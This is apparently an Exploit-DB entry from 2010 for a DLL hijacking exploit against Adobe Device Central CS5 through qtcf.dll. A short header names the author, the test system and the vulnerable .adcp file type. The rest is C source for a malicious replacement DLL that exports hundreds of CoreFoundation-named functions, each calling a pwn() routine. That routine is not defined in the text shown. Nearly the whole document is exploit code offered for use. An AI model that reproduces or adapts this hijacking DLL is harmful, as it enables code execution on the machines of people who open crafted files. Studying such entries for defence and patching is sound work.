Adobe Device Central CS5 - 'qtcf.dll' DLL Hijacking

EDB-ID:

14755




Platform:

Windows

Date:

2010-08-25


/* 
Exploit Title: Adobe Device Central CS5 DLL Hijacking Exploit (qtcf.dll)
Date: August 24, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: Latest CS5 v3.0.0(376)
Tested on: Windows 7 x64 Ultimate
Vulnerable extensions: .adcp
Greetz: Astalavista, OffSEC, Exploit-DB
*/


#include <windows.h>
#define DllExport __declspec (dllexport)

DllExport void __CFRangeMake() { pwn(); }
DllExport void __CFStorageGetCapacity() { pwn(); }
DllExport void __CFStorageGetValueSize() { pwn(); }
DllExport void __CFStringMakeConstantString() { pwn(); }
DllExport void _CFCharacterSetCreateKeyedCodingString() { pwn(); }
DllExport void _CFCharacterSetGetKeyedCodingBuiltinType() { pwn(); }
DllExport void _CFCharacterSetGetKeyedCodingRange() { pwn(); }
DllExport void _CFCharacterSetGetKeyedCodingType() { pwn(); }
DllExport void _CFCharacterSetIsInverted() { pwn(); }
DllExport void _CFCharacterSetIsMutable() { pwn(); }
DllExport void _CFCharacterSetSetIsInverted() { pwn(); }
DllExport void _CFDoOperation() { pwn(); }
DllExport void _CFExecutableLinkedOnOrAfter() { pwn(); }
DllExport void _CFHTTPMessageSetResponseURL() { pwn(); }
DllExport void _CFRuntimeCreateInstance() { pwn(); }
DllExport void _CFRuntimeGetClassWithTypeID() { pwn(); }
DllExport void _CFRuntimeRegisterClass() { pwn(); }
DllExport void _CFRuntimeSetCFMPresent() { pwn(); }
DllExport void _CFRuntimeSetInstanceTypeID() { pwn(); }
DllExport void _CFRuntimeUnregisterClassWithTypeID() { pwn(); }
DllExport void _CFStringCreateWithBytesNoCopy() { pwn(); }
DllExport void _CFStringEncodingSetForceASCIICompatibility() { pwn(); }
DllExport void _CFStringGetFileSystemRepresentation() { pwn(); }
DllExport void _CFURLCopyComponents() { pwn(); }
DllExport void _CFURLCreateFromComponents() { pwn(); }
DllExport void CFAbsoluteTimeAddGregorianUnits() { pwn(); }
DllExport void CFAbsoluteTimeGetCurrent() { pwn(); }
DllExport void CFAbsoluteTimeGetDayOfWeek() { pwn(); }
DllExport void CFAbsoluteTimeGetDayOfYear() { pwn(); }
DllExport void CFAbsoluteTimeGetDifferenceAsGregorianUnits() { pwn(); }
DllExport void CFAbsoluteTimeGetGregorianDate() { pwn(); }
DllExport void CFAbsoluteTimeGetWeekOfYear() { pwn(); }
DllExport void CFAllocatorAllocate() { pwn(); }
DllExport void CFAllocatorCreate() { pwn(); }
DllExport void CFAllocatorDeallocate() { pwn(); }
DllExport void CFAllocatorGetContext() { pwn(); }
DllExport void CFAllocatorGetDefault() { pwn(); }
DllExport void CFAllocatorGetPreferredSizeForSize() { pwn(); }
DllExport void CFAllocatorGetTypeID() { pwn(); }
DllExport void CFAllocatorReallocate() { pwn(); }
DllExport void CFAllocatorSetDefault() { pwn(); }
DllExport void CFArrayAppendArray() { pwn(); }
DllExport void CFArrayAppendValue() { pwn(); }
DllExport void CFArrayApplyFunction() { pwn(); }
DllExport void CFArrayBSearchValues() { pwn(); }
DllExport void CFArrayContainsValue() { pwn(); }
DllExport void CFArrayCreate() { pwn(); }
DllExport void CFArrayCreateCopy() { pwn(); }
DllExport void CFArrayCreateMutable() { pwn(); }
DllExport void CFArrayCreateMutableCopy() { pwn(); }
DllExport void CFArrayExchangeValuesAtIndices() { pwn(); }
DllExport void CFArrayGetCount() { pwn(); }
DllExport void CFArrayGetCountOfValue() { pwn(); }
DllExport void CFArrayGetFirstIndexOfValue() { pwn(); }
DllExport void CFArrayGetLastIndexOfValue() { pwn(); }
DllExport void CFArrayGetTypeID() { pwn(); }
DllExport void CFArrayGetValueAtIndex() { pwn(); }
DllExport void CFArrayGetValues() { pwn(); }
DllExport void CFArrayInsertValueAtIndex() { pwn(); }
DllExport void CFArrayRemoveAllValues() { pwn(); }
DllExport void CFArrayRemoveValueAtIndex() { pwn(); }
DllExport void CFArrayReplaceValues() { pwn(); }
DllExport void CFArraySetValueAtIndex() { pwn(); }
DllExport void CFArraySortValues() { pwn(); }
DllExport void CFBagAddValue() { pwn(); }
DllExport void CFBagApplyFunction() { pwn(); }
DllExport void CFBagContainsValue() { pwn(); }
DllExport void CFBagCreate() { pwn(); }
DllExport void CFBagCreateCopy() { pwn(); }
DllExport void CFBagCreateMutable() { pwn(); }
DllExport void CFBagCreateMutableCopy() { pwn(); }
DllExport void CFBagGetCount() { pwn(); }
DllExport void CFBagGetCountOfValue() { pwn(); }
DllExport void CFBagGetTypeID() { pwn(); }
DllExport void CFBagGetValue() { pwn(); }
DllExport void CFBagGetValueIfPresent() { pwn(); }
DllExport void CFBagGetValues() { pwn(); }
DllExport void CFBagRemoveAllValues() { pwn(); }
DllExport void CFBagRemoveValue() { pwn(); }
DllExport void CFBagReplaceValue() { pwn(); }
DllExport void CFBagSetValue() { pwn(); }
DllExport void CFBinaryHeapAddValue() { pwn(); }
DllExport void CFBinaryHeapApplyFunction() { pwn(); }
DllExport void CFBinaryHeapContainsValue() { pwn(); }
DllExport void CFBinaryHeapCreate() { pwn(); }
DllExport void CFBinaryHeapCreateCopy() { pwn(); }
DllExport void CFBinaryHeapGetCount() { pwn(); }
DllExport void CFBinaryHeapGetCountOfValue() { pwn(); }
DllExport void CFBinaryHeapGetMinimum() { pwn(); }
DllExport void CFBinaryHeapGetMinimumIfPresent() { pwn(); }
DllExport void CFBinaryHeapGetTypeID() { pwn(); }
DllExport void CFBinaryHeapGetValues() { pwn(); }
DllExport void CFBinaryHeapRemoveAllValues() { pwn(); }
DllExport void CFBinaryHeapRemoveMinimumValue() { pwn(); }
DllExport void CFBitVectorContainsBit() { pwn(); }
DllExport void CFBitVectorCreate() { pwn(); }
DllExport void CFBitVectorCreateCopy() { pwn(); }
DllExport void CFBitVectorCreateMutable() { pwn(); }
DllExport void CFBitVectorCreateMutableCopy() { pwn(); }
DllExport void CFBitVectorFlipBitAtIndex() { pwn(); }
DllExport void CFBitVectorFlipBits() { pwn(); }
DllExport void CFBitVectorGetBitAtIndex() { pwn(); }
DllExport void CFBitVectorGetBits() { pwn(); }
DllExport void CFBitVectorGetCount() { pwn(); }
DllExport void CFBitVectorGetCountOfBit() { pwn(); }
DllExport void CFBitVectorGetFirstIndexOfBit() { pwn(); }
DllExport void CFBitVectorGetLastIndexOfBit() { pwn(); }
DllExport void CFBitVectorGetTypeID() { pwn(); }
DllExport void CFBitVectorSetAllBits() { pwn(); }
DllExport void CFBitVectorSetBitAtIndex() { pwn(); }
DllExport void CFBitVectorSetBits() { pwn(); }
DllExport void CFBitVectorSetCount() { pwn(); }
DllExport void CFBooleanGetTypeID() { pwn(); }
DllExport void CFBooleanGetValue() { pwn(); }
DllExport void CFBSearch() { pwn(); }
DllExport void CFBundleCopyAuxiliaryExecutableURL() { pwn(); }
DllExport void CFBundleCopyBuiltInPlugInsURL() { pwn(); }
DllExport void CFBundleCopyBundleLocalizations() { pwn(); }
DllExport void CFBundleCopyBundleURL() { pwn(); }
DllExport void CFBundleCopyExecutableURL() { pwn(); }
DllExport void CFBundleCopyInfoDictionaryForURL() { pwn(); }
DllExport void CFBundleCopyInfoDictionaryInDirectory() { pwn(); }
DllExport void CFBundleCopyLocalizationsForPreferences() { pwn(); }
DllExport void CFBundleCopyLocalizationsForURL() { pwn(); }
DllExport void CFBundleCopyLocalizedString() { pwn(); }
DllExport void CFBundleCopyPreferredLocalizationsFromArray() { pwn(); }
DllExport void CFBundleCopyPrivateFrameworksURL() { pwn(); }
DllExport void CFBundleCopyResourcesDirectoryURL() { pwn(); }
DllExport void CFBundleCopyResourceURL() { pwn(); }
DllExport void CFBundleCopyResourceURLForLocalization() { pwn(); }
DllExport void CFBundleCopyResourceURLInDirectory() { pwn(); }
DllExport void CFBundleCopyResourceURLsOfType() { pwn(); }
DllExport void CFBundleCopyResourceURLsOfTypeForLocalization() { pwn(); }
DllExport void CFBundleCopyResourceURLsOfTypeInDirectory() { pwn(); }
DllExport void CFBundleCopySharedFrameworksURL() { pwn(); }
DllExport void CFBundleCopySharedSupportURL() { pwn(); }
DllExport void CFBundleCopySupportFilesDirectoryURL() { pwn(); }
DllExport void CFBundleCreate() { pwn(); }
DllExport void CFBundleCreateBundlesFromDirectory() { pwn(); }
DllExport void CFBundleGetAllBundles() { pwn(); }
DllExport void CFBundleGetBundleWithIdentifier() { pwn(); }
DllExport void CFBundleGetDataPointerForName() { pwn(); }
DllExport void CFBundleGetDataPointersForNames() { pwn(); }
DllExport void CFBundleGetDevelopmentRegion() { pwn(); }
DllExport void CFBundleGetFunctionPointerForName() { pwn(); }
DllExport void CFBundleGetFunctionPointersForNames() { pwn(); }
DllExport void CFBundleGetIdentifier() { pwn(); }
DllExport void CFBundleGetInfoDictionary() { pwn(); }
DllExport void CFBundleGetLocalInfoDictionary() { pwn(); }
DllExport void CFBundleGetMainBundle() { pwn(); }
DllExport void CFBundleGetPackageInfo() { pwn(); }
DllExport void CFBundleGetPackageInfoInDirectory() { pwn(); }
DllExport void CFBundleGetPlugIn() { pwn(); }
DllExport void CFBundleGetTypeID() { pwn(); }
DllExport void CFBundleGetValueForInfoDictionaryKey() { pwn(); }
DllExport void CFBundleGetVersionNumber() { pwn(); }
DllExport void CFBundleIsExecutableLoaded() { pwn(); }
DllExport void CFBundleLoadExecutable() { pwn(); }
DllExport void CFBundleUnloadExecutable() { pwn(); }
DllExport void CFCharacterSetAddCharactersInRange() { pwn(); }
DllExport void CFCharacterSetAddCharactersInString() { pwn(); }
DllExport void CFCharacterSetCreateBitmapRepresentation() { pwn(); }
DllExport void CFCharacterSetCreateCopy() { pwn(); }
DllExport void CFCharacterSetCreateInvertedSet() { pwn(); }
DllExport void CFCharacterSetCreateMutable() { pwn(); }
DllExport void CFCharacterSetCreateMutableCopy() { pwn(); }
DllExport void CFCharacterSetCreateWithBitmapRepresentation() { pwn(); }
DllExport void CFCharacterSetCreateWithCharactersInRange() { pwn(); }
DllExport void CFCharacterSetCreateWithCharactersInString() { pwn(); }
DllExport void CFCharacterSetGetPredefined() { pwn(); }
DllExport void CFCharacterSetGetTypeID() { pwn(); }
DllExport void CFCharacterSetHasMemberInPlane() { pwn(); }
DllExport void CFCharacterSetIntersect() { pwn(); }
DllExport void CFCharacterSetInvert() { pwn(); }
DllExport void CFCharacterSetIsCharacterMember() { pwn(); }
DllExport void CFCharacterSetIsLongCharacterMember() { pwn(); }
DllExport void CFCharacterSetIsSupersetOfSet() { pwn(); }
DllExport void CFCharacterSetIsSurrogatePairMember() { pwn(); }
DllExport void CFCharacterSetRemoveCharactersInRange() { pwn(); }
DllExport void CFCharacterSetRemoveCharactersInString() { pwn(); }
DllExport void CFCharacterSetUnion() { pwn(); }
DllExport void CFCopyDescription() { pwn(); }
DllExport void CFCopyHomeDirectoryURLForUser() { pwn(); }
DllExport void CFCopyTypeIDDescription() { pwn(); }
DllExport void CFDataAppendBytes() { pwn(); }
DllExport void CFDataCreate() { pwn(); }
DllExport void CFDataCreateCopy() { pwn(); }
DllExport void CFDataCreateMutable() { pwn(); }
DllExport void CFDataCreateMutableCopy() { pwn(); }
DllExport void CFDataCreateWithBytesNoCopy() { pwn(); }
DllExport void CFDataDeleteBytes() { pwn(); }
DllExport void CFDataGetBytePtr() { pwn(); }
DllExport void CFDataGetBytes() { pwn(); }
DllExport void CFDataGetLength() { pwn(); }
DllExport void CFDataGetMutableBytePtr() { pwn(); }
DllExport void CFDataGetTypeID() { pwn(); }
DllExport void CFDataIncreaseLength() { pwn(); }
DllExport void CFDataReplaceBytes() { pwn(); }
DllExport void CFDataSetLength() { pwn(); }
DllExport void CFDateCompare() { pwn(); }
DllExport void CFDateCreate() { pwn(); }
DllExport void CFDateGetAbsoluteTime() { pwn(); }
DllExport void CFDateGetTimeIntervalSinceDate() { pwn(); }
DllExport void CFDateGetTypeID() { pwn(); }
DllExport void CFDictionaryAddValue() { pwn(); }
DllExport void CFDictionaryApplyFunction() { pwn(); }
DllExport void CFDictionaryContainsKey() { pwn(); }
DllExport void CFDictionaryContainsValue() { pwn(); }
DllExport void CFDictionaryCreate() { pwn(); }
DllExport void CFDictionaryCreateCopy() { pwn(); }
DllExport void CFDictionaryCreateMutable() { pwn(); }
DllExport void CFDictionaryCreateMutableCopy() { pwn(); }
DllExport void CFDictionaryGetCount() { pwn(); }
DllExport void CFDictionaryGetCountOfKey() { pwn(); }
DllExport void CFDictionaryGetCountOfValue() { pwn(); }
DllExport void CFDictionaryGetKeysAndValues() { pwn(); }
DllExport void CFDictionaryGetTypeID() { pwn(); }
DllExport void CFDictionaryGetValue() { pwn(); }
DllExport void CFDictionaryGetValueIfPresent() { pwn(); }
DllExport void CFDictionaryRemoveAllValues() { pwn(); }
DllExport void CFDictionaryRemoveValue() { pwn(); }
DllExport void CFDictionaryReplaceValue() { pwn(); }
DllExport void CFDictionarySetValue() { pwn(); }
DllExport void CFEqual() { pwn(); }
DllExport void CFGetAllocator() { pwn(); }
DllExport void CFGetRetainCount() { pwn(); }
DllExport void CFGetTypeID() { pwn(); }
DllExport void CFGregorianDateGetAbsoluteTime() { pwn(); }
DllExport void CFGregorianDateIsValid() { pwn(); }
DllExport void CFHash() { pwn(); }
DllExport void CFHTTPMessageAppendBytes() { pwn(); }
DllExport void CFHTTPMessageCopyAllHeaderFields() { pwn(); }
DllExport void CFHTTPMessageCopyBody() { pwn(); }
DllExport void CFHTTPMessageCopyHeaderFieldValue() { pwn(); }
DllExport void CFHTTPMessageCopyRequestMethod() { pwn(); }
DllExport void CFHTTPMessageCopyRequestURL() { pwn(); }
DllExport void CFHTTPMessageCopyResponseStatusLine() { pwn(); }
DllExport void CFHTTPMessageCopySerializedMessage() { pwn(); }
DllExport void CFHTTPMessageCopyVersion() { pwn(); }
DllExport void CFHTTPMessageCreateCopy() { pwn(); }
DllExport void CFHTTPMessageCreateEmpty() { pwn(); }
DllExport void CFHTTPMessageCreateRequest() { pwn(); }
DllExport void CFHTTPMessageCreateResponse() { pwn(); }
DllExport void CFHTTPMessageGetResponseStatusCode() { pwn(); }
DllExport void CFHTTPMessageGetTypeID() { pwn(); }
DllExport void CFHTTPMessageIsHeaderComplete() { pwn(); }
DllExport void CFHTTPMessageIsRequest() { pwn(); }
DllExport void CFHTTPMessageSetBody() { pwn(); }
DllExport void CFHTTPMessageSetHeaderFieldValue() { pwn(); }
DllExport void CFLocaleCopyCurrent() { pwn(); }
DllExport void CFLocaleCreate() { pwn(); }
DllExport void CFLocaleCreateCanonicalLocaleIdentifierFromString() { pwn(); }
DllExport void CFLocaleCreateCopy() { pwn(); }
DllExport void CFLocaleGetIdentifier() { pwn(); }
DllExport void CFLocaleGetSystem() { pwn(); }
DllExport void CFLocaleGetTypeID() { pwn(); }
DllExport void CFLocaleGetValue() { pwn(); }
DllExport void CFLog2() { pwn(); }
DllExport void CFMergeSortArray() { pwn(); }
DllExport void CFNullGetTypeID() { pwn(); }
DllExport void CFNumberCompare() { pwn(); }
DllExport void CFNumberCreate() { pwn(); }
DllExport void CFNumberGetByteSize() { pwn(); }
DllExport void CFNumberGetType() { pwn(); }
DllExport void CFNumberGetTypeID() { pwn(); }
DllExport void CFNumberGetValue() { pwn(); }
DllExport void CFNumberIsFloatType() { pwn(); }
DllExport void CFPlugInAddInstanceForFactory() { pwn(); }
DllExport void CFPlugInCreate() { pwn(); }
DllExport void CFPlugInFindFactoriesForPlugInType() { pwn(); }
DllExport void CFPlugInFindFactoriesForPlugInTypeInPlugIn() { pwn(); }
DllExport void CFPlugInGetBundle() { pwn(); }
DllExport void CFPlugInGetTypeID() { pwn(); }
DllExport void CFPlugInInstanceCreate() { pwn(); }
DllExport void CFPlugInInstanceCreateWithInstanceDataSize() { pwn(); }
DllExport void CFPlugInInstanceGetFactoryName() { pwn(); }
DllExport void CFPlugInInstanceGetInstanceData() { pwn(); }
DllExport void CFPlugInInstanceGetInterfaceFunctionTable() { pwn(); }
DllExport void CFPlugInInstanceGetTypeID() { pwn(); }
DllExport void CFPlugInIsLoadOnDemand() { pwn(); }
DllExport void CFPlugInRegisterFactoryFunction() { pwn(); }
DllExport void CFPlugInRegisterFactoryFunctionByName() { pwn(); }
DllExport void CFPlugInRegisterPlugInType() { pwn(); }
DllExport void CFPlugInRemoveInstanceForFactory() { pwn(); }
DllExport void CFPlugInSetLoadOnDemand() { pwn(); }
DllExport void CFPlugInUnregisterFactory() { pwn(); }
DllExport void CFPlugInUnregisterPlugInType() { pwn(); }
DllExport void CFPropertyListCreateDeepCopy() { pwn(); }
DllExport void CFPropertyListCreateFromXMLData() { pwn(); }
DllExport void CFPropertyListCreateXMLData() { pwn(); }
DllExport void CFPropertyListIsValid() { pwn(); }
DllExport void CFQSortArray() { pwn(); }
DllExport void CFRelease() { pwn(); }
DllExport void CFRetain() { pwn(); }
DllExport void CFRunLoopAddCommonMode() { pwn(); }
DllExport void CFRunLoopAddObserver() { pwn(); }
DllExport void CFRunLoopAddSource() { pwn(); }
DllExport void CFRunLoopAddTimer() { pwn(); }
DllExport void CFRunLoopContainsObserver() { pwn(); }
DllExport void CFRunLoopContainsSource() { pwn(); }
DllExport void CFRunLoopContainsTimer() { pwn(); }
DllExport void CFRunLoopCopyAllModes() { pwn(); }
DllExport void CFRunLoopCopyCurrentMode() { pwn(); }
DllExport void CFRunLoopGetCurrent() { pwn(); }
DllExport void CFRunLoopGetNextTimerFireDate() { pwn(); }
DllExport void CFRunLoopGetTypeID() { pwn(); }
DllExport void CFRunLoopIsWaiting() { pwn(); }
DllExport void CFRunLoopObserverCreate() { pwn(); }
DllExport void CFRunLoopObserverDoesRepeat() { pwn(); }
DllExport void CFRunLoopObserverGetActivities() { pwn(); }
DllExport void CFRunLoopObserverGetContext() { pwn(); }
DllExport void CFRunLoopObserverGetOrder() { pwn(); }
DllExport void CFRunLoopObserverGetTypeID() { pwn(); }
DllExport void CFRunLoopObserverInvalidate() { pwn(); }
DllExport void CFRunLoopObserverIsValid() { pwn(); }
DllExport void CFRunLoopRemoveObserver() { pwn(); }
DllExport void CFRunLoopRemoveSource() { pwn(); }
DllExport void CFRunLoopRemoveTimer() { pwn(); }
DllExport void CFRunLoopRun() { pwn(); }
DllExport void CFRunLoopRunInMode() { pwn(); }
DllExport void CFRunLoopSourceCreate() { pwn(); }
DllExport void CFRunLoopSourceGetContext() { pwn(); }
DllExport void CFRunLoopSourceGetOrder() { pwn(); }
DllExport void CFRunLoopSourceGetTypeID() { pwn(); }
DllExport void CFRunLoopSourceInvalidate() { pwn(); }
DllExport void CFRunLoopSourceIsValid() { pwn(); }
DllExport void CFRunLoopSourceSignal() { pwn(); }
DllExport void CFRunLoopStop() { pwn(); }
DllExport void CFRunLoopTimerCreate() { pwn(); }
DllExport void CFRunLoopTimerDoesRepeat() { pwn(); }
DllExport void CFRunLoopTimerGetContext() { pwn(); }
DllExport void CFRunLoopTimerGetInterval() { pwn(); }
DllExport void CFRunLoopTimerGetNextFireDate() { pwn(); }
DllExport void CFRunLoopTimerGetOrder() { pwn(); }
DllExport void CFRunLoopTimerGetTypeID() { pwn(); }
DllExport void CFRunLoopTimerInvalidate() { pwn(); }
DllExport void CFRunLoopTimerIsValid() { pwn(); }
DllExport void CFRunLoopTimerSetNextFireDate() { pwn(); }
DllExport void CFRunLoopWakeUp() { pwn(); }
DllExport void CFSetAddValue() { pwn(); }
DllExport void CFSetApplyFunction() { pwn(); }
DllExport void CFSetContainsValue() { pwn(); }
DllExport void CFSetCreate() { pwn(); }
DllExport void CFSetCreateCopy() { pwn(); }
DllExport void CFSetCreateMutable() { pwn(); }
DllExport void CFSetCreateMutableCopy() { pwn(); }
DllExport void CFSetGetCount() { pwn(); }
DllExport void CFSetGetCountOfValue() { pwn(); }
DllExport void CFSetGetTypeID() { pwn(); }
DllExport void CFSetGetValue() { pwn(); }
DllExport void CFSetGetValueIfPresent() { pwn(); }
DllExport void CFSetGetValues() { pwn(); }
DllExport void CFSetRemoveAllValues() { pwn(); }
DllExport void CFSetRemoveValue() { pwn(); }
DllExport void CFSetReplaceValue() { pwn(); }
DllExport void CFSetSetValue() { pwn(); }
DllExport void CFShow() { pwn(); }
DllExport void CFShowStr() { pwn(); }
DllExport void CFSocketConnectToAddress() { pwn(); }
DllExport void CFSocketCopyAddress() { pwn(); }
DllExport void CFSocketCopyPeerAddress() { pwn(); }
DllExport void CFSocketCopyRegisteredSocketSignature() { pwn(); }
DllExport void CFSocketCopyRegisteredValue() { pwn(); }
DllExport void CFSocketCreate() { pwn(); }
DllExport void CFSocketCreateConnectedToSocketSignature() { pwn(); }
DllExport void CFSocketCreateRunLoopSource() { pwn(); }
DllExport void CFSocketCreateWithNative() { pwn(); }
DllExport void CFSocketCreateWithSocketSignature() { pwn(); }
DllExport void CFSocketDisableCallBacks() { pwn(); }
DllExport void CFSocketEnableCallBacks() { pwn(); }
DllExport void CFSocketGetContext() { pwn(); }
DllExport void CFSocketGetDefaultNameRegistryPortNumber() { pwn(); }
DllExport void CFSocketGetNative() { pwn(); }
DllExport void CFSocketGetSocketFlags() { pwn(); }
DllExport void CFSocketGetTypeID() { pwn(); }
DllExport void CFSocketInvalidate() { pwn(); }
DllExport void CFSocketIsValid() { pwn(); }
DllExport void CFSocketRegisterSocketSignature() { pwn(); }
DllExport void CFSocketRegisterValue() { pwn(); }
DllExport void CFSocketSendData() { pwn(); }
DllExport void CFSocketSetAddress() { pwn(); }
DllExport void CFSocketSetDefaultNameRegistryPortNumber() { pwn(); }
DllExport void CFSocketSetSocketFlags() { pwn(); }
DllExport void CFSocketUnregister() { pwn(); }
DllExport void CFStorageApplyFunction() { pwn(); }
DllExport void CFStorageCreate() { pwn(); }
DllExport void CFStorageDeleteValues() { pwn(); }
DllExport void CFStorageGetCount() { pwn(); }
DllExport void CFStorageGetValueAtIndex() { pwn(); }
DllExport void CFStorageGetValues() { pwn(); }
DllExport void CFStorageInsertValues() { pwn(); }
DllExport void CFStorageReplaceValues() { pwn(); }
DllExport void CFStringAppend() { pwn(); }
DllExport void CFStringAppendCharacters() { pwn(); }
DllExport void CFStringAppendCString() { pwn(); }
DllExport void CFStringAppendFormat() { pwn(); }
DllExport void CFStringAppendFormatAndArguments() { pwn(); }
DllExport void CFStringAppendPascalString() { pwn(); }
DllExport void CFStringCapitalize() { pwn(); }
DllExport void CFStringCompare() { pwn(); }
DllExport void CFStringCompareWithOptions() { pwn(); }
DllExport void CFStringConvertEncodingToIANACharSetName() { pwn(); }
DllExport void CFStringConvertEncodingToNSStringEncoding() { pwn(); }
DllExport void CFStringConvertEncodingToWindowsCodepage() { pwn(); }
DllExport void CFStringConvertIANACharSetNameToEncoding() { pwn(); }
DllExport void CFStringConvertNSStringEncodingToEncoding() { pwn(); }
DllExport void CFStringConvertWindowsCodepageToEncoding() { pwn(); }
DllExport void CFStringCreateArrayBySeparatingStrings() { pwn(); }
DllExport void CFStringCreateArrayWithFindResults() { pwn(); }
DllExport void CFStringCreateByCombiningStrings() { pwn(); }
DllExport void CFStringCreateCopy() { pwn(); }
DllExport void CFStringCreateExternalRepresentation() { pwn(); }
DllExport void CFStringCreateFromExternalRepresentation() { pwn(); }
DllExport void CFStringCreateMutable() { pwn(); }
DllExport void CFStringCreateMutableCopy() { pwn(); }
DllExport void CFStringCreateMutableWithExternalCharactersNoCopy() { pwn(); }
DllExport void CFStringCreateWithBytes() { pwn(); }
DllExport void CFStringCreateWithCharacters() { pwn(); }
DllExport void CFStringCreateWithCharactersNoCopy() { pwn(); }
DllExport void CFStringCreateWithCString() { pwn(); }
DllExport void CFStringCreateWithCStringNoCopy() { pwn(); }
DllExport void CFStringCreateWithFormat() { pwn(); }
DllExport void CFStringCreateWithFormatAndArguments() { pwn(); }
DllExport void CFStringCreateWithPascalString() { pwn(); }
DllExport void CFStringCreateWithPascalStringNoCopy() { pwn(); }
DllExport void CFStringCreateWithSubstring() { pwn(); }
DllExport void CFStringDelete() { pwn(); }
DllExport void CFStringFind() { pwn(); }
DllExport void CFStringFindAndReplace() { pwn(); }
DllExport void CFStringFindCharacterFromSet() { pwn(); }
DllExport void CFStringFindWithOptions() { pwn(); }
DllExport void CFStringGetBytes() { pwn(); }
DllExport void CFStringGetCharacterAtIndex() { pwn(); }
DllExport void CFStringGetCharacters() { pwn(); }
DllExport void CFStringGetCharactersPtr() { pwn(); }
DllExport void CFStringGetCString() { pwn(); }
DllExport void CFStringGetCStringPtr() { pwn(); }
DllExport void CFStringGetDoubleValue() { pwn(); }
DllExport void CFStringGetFastestEncoding() { pwn(); }
DllExport void CFStringGetIntValue() { pwn(); }
DllExport void CFStringGetLength() { pwn(); }
DllExport void CFStringGetLineBounds() { pwn(); }
DllExport void CFStringGetListOfAvailableEncodings() { pwn(); }
DllExport void CFStringGetMaximumSizeForEncoding() { pwn(); }
DllExport void CFStringGetMostCompatibleMacStringEncoding() { pwn(); }
DllExport void CFStringGetNameOfEncoding() { pwn(); }
DllExport void CFStringGetPascalString() { pwn(); }
DllExport void CFStringGetPascalStringPtr() { pwn(); }
DllExport void CFStringGetRangeOfComposedCharactersAtIndex() { pwn(); }
DllExport void CFStringGetSmallestEncoding() { pwn(); }
DllExport void CFStringGetSystemEncoding() { pwn(); }
DllExport void CFStringGetTypeID() { pwn(); }
DllExport void CFStringHasPrefix() { pwn(); }
DllExport void CFStringHasSuffix() { pwn(); }
DllExport void CFStringInsert() { pwn(); }
DllExport void CFStringIsEncodingAvailable() { pwn(); }
DllExport void CFStringLowercase() { pwn(); }
DllExport void CFStringNormalize() { pwn(); }
DllExport void CFStringPad() { pwn(); }
DllExport void CFStringReplace() { pwn(); }
DllExport void CFStringReplaceAll() { pwn(); }
DllExport void CFStringSetExternalCharactersNoCopy() { pwn(); }
DllExport void CFStringTrim() { pwn(); }
DllExport void CFStringTrimWhitespace() { pwn(); }
DllExport void CFStringUppercase() { pwn(); }
DllExport void CFTimeZoneCopyAbbreviation() { pwn(); }
DllExport void CFTimeZoneCopyAbbreviationDictionary() { pwn(); }
DllExport void CFTimeZoneCopyDefault() { pwn(); }
DllExport void CFTimeZoneCopyKnownNames() { pwn(); }
DllExport void CFTimeZoneCopySystem() { pwn(); }
DllExport void CFTimeZoneCreate() { pwn(); }
DllExport void CFTimeZoneCreateWithName() { pwn(); }
DllExport void CFTimeZoneCreateWithTimeIntervalFromGMT() { pwn(); }
DllExport void CFTimeZoneGetData() { pwn(); }
DllExport void CFTimeZoneGetName() { pwn(); }
DllExport void CFTimeZoneGetSecondsFromGMT() { pwn(); }
DllExport void CFTimeZoneGetTypeID() { pwn(); }
DllExport void CFTimeZoneIsDaylightSavingTime() { pwn(); }
DllExport void CFTimeZoneResetSystem() { pwn(); }
DllExport void CFTimeZoneSetAbbreviationDictionary() { pwn(); }
DllExport void CFTimeZoneSetDefault() { pwn(); }
DllExport void CFTreeAppendChild() { pwn(); }
DllExport void CFTreeApplyFunctionToChildren() { pwn(); }
DllExport void CFTreeCreate() { pwn(); }
DllExport void CFTreeFindRoot() { pwn(); }
DllExport void CFTreeGetChildAtIndex() { pwn(); }
DllExport void CFTreeGetChildCount() { pwn(); }
DllExport void CFTreeGetChildren() { pwn(); }
DllExport void CFTreeGetContext() { pwn(); }
DllExport void CFTreeGetFirstChild() { pwn(); }
DllExport void CFTreeGetNextSibling() { pwn(); }
DllExport void CFTreeGetParent() { pwn(); }
DllExport void CFTreeGetTypeID() { pwn(); }
DllExport void CFTreeInsertSibling() { pwn(); }
DllExport void CFTreePrependChild() { pwn(); }
DllExport void CFTreeRemove() { pwn(); }
DllExport void CFTreeRemoveAllChildren() { pwn(); }
DllExport void CFTreeSetContext() { pwn(); }
DllExport void CFTreeSortChildren() { pwn(); }
DllExport void CFUniCharCompatibilityDecompose() { pwn(); }
DllExport void CFUniCharDecompose() { pwn(); }
DllExport void CFUniCharDecomposeCharacter() { pwn(); }
DllExport void CFUniCharGetBitmapForPlane() { pwn(); }
DllExport void CFUniCharGetBitmapPtrForPlane() { pwn(); }
DllExport void CFUniCharGetConditionalCaseMappingFlags() { pwn(); }
DllExport void CFUniCharGetNumberOfPlanes() { pwn(); }
DllExport void CFUniCharGetNumberOfPlanesForUnicodePropertyData() { pwn(); }
DllExport void CFUniCharGetUnicodeProperty() { pwn(); }
DllExport void CFUniCharGetUnicodePropertyDataForPlane() { pwn(); }
DllExport void CFUniCharIsMemberOf() { pwn(); }
DllExport void CFUniCharMapCaseTo() { pwn(); }
DllExport void CFUniCharPrecompose() { pwn(); }
DllExport void CFUniCharPrecomposeCharacter() { pwn(); }
DllExport void CFUniCharPrioritySort() { pwn(); }
DllExport void CFURLCanBeDecomposed() { pwn(); }
DllExport void CFURLCopyAbsoluteURL() { pwn(); }
DllExport void CFURLCopyFileSystemPath() { pwn(); }
DllExport void CFURLCopyFragment() { pwn(); }
DllExport void CFURLCopyHostName() { pwn(); }
DllExport void CFURLCopyLastPathComponent() { pwn(); }
DllExport void CFURLCopyNetLocation() { pwn(); }
DllExport void CFURLCopyParameterString() { pwn(); }
DllExport void CFURLCopyPassword() { pwn(); }
DllExport void CFURLCopyPath() { pwn(); }
DllExport void CFURLCopyPathExtension() { pwn(); }
DllExport void CFURLCopyQueryString() { pwn(); }
DllExport void CFURLCopyResourceSpecifier() { pwn(); }
DllExport void CFURLCopyScheme() { pwn(); }
DllExport void CFURLCopyStrictPath() { pwn(); }
DllExport void CFURLCopyUserName() { pwn(); }
DllExport void CFURLCreateCopyAppendingPathComponent() { pwn(); }
DllExport void CFURLCreateCopyAppendingPathExtension() { pwn(); }
DllExport void CFURLCreateCopyDeletingLastPathComponent() { pwn(); }
DllExport void CFURLCreateCopyDeletingPathExtension() { pwn(); }
